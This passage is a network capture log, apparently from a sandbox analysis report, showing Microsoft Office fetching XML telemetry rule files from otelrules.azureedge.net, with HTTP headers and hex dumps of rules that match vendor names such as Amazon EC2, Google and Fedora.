R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:05 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:05 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: bdd7469a-701e-0053-5fd5-333a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133305Z-174f7845968nxc96hC1EWRspw800000004v0000000001s0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:05 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:05 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:05 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 22e15e04-b01e-0070-3ed5-331cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133305Z-174f7845968glpgnhC1EWR7uec000000053g00000000car6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:05 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:05 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:05 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 63eb2845-501e-00a3-1dd5-33c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133305Z-174f78459685726chC1EWRsnbg000000053g000000005p0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:05 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:05 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:05 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: b80249cf-101e-0017-2bd5-3347c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133305Z-174f78459685726chC1EWRsnbg000000054g000000002xbv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:05 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:05 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:05 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 7cd113ea-e01e-0052-21d5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133305Z-174f7845968glpgnhC1EWR7uec000000051000000000fnx2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:05 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:05 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 554aabf5-b01e-00ab-71d5-33dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133305Z-174f7845968nxc96hC1EWRspw800000004u0000000004pzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:05 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 77d57460-901e-0083-6dd5-33bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133305Z-174f7845968t42glhC1EWRa36w00000004n000000000erfe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:05 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d9045dfb-101e-00a2-06d5-339f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133305Z-174f7845968pf68xhC1EWRr4h800000005b00000000025kz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:05 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c8358f32-201e-005d-77d5-33afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133305Z-174f7845968n2hr8hC1EWR9cag00000004ng000000009pdq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:05 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 01111fca-d01e-002b-41d5-3325fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133305Z-174f7845968cdxdrhC1EWRg0en0000000500000000006pms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:06 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 4e338e66-401e-0016-6fd5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133306Z-174f78459685726chC1EWRsnbg000000050g00000000bxnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:06 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 1c14d510-c01e-0079-05d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133306Z-174f7845968l4kp6hC1EWRe88400000005a0000000005szs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 